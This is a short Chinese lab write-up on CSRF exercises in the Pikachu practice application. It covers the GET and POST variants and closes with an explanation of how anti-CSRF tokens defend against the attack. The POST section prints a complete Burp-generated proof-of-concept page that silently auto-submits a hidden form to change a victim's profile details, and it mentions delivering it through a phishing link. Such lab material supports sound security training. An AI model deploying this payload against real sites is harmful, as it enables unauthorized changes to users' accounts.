文章目录
- CSRF(get)
- CSRF(post)
- CSRF Token
CSRF(get)
根据提示的用户信息登录
点击修改个人信息
开启bp代理,点击submit
拦截到请求数据包
浏览器关闭代理
刷新页面
CSRF(post)
使用BP生成CSRF POC
post请求伪造,可以通过钓鱼网站,诱导用户去点链接
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://192.168.80.139/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
<input type="hidden" name="sex" value="woman" />
<input type="hidden" name="phonenum" value="110110110" />
<input type="hidden" name="add" value="北京" />
<input type="hidden" name="email" value="3123@qq.com" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
CSRF Token
分析一下这个token的作用了。按照前面csrf get的方法,攻击者会伪造一个GET URL去让用户点击。但用户正常提供GET请求时,会把服务器返回的token填入和提交,而攻击者伪造URL时除非前期抓包获取到这个返回的token,否则他是不会知道这个token的。所以攻击者无法构造GET URL。同理,对于POST方法也是一样。所以,使用token是一个很好的防御CSRF攻击的方法。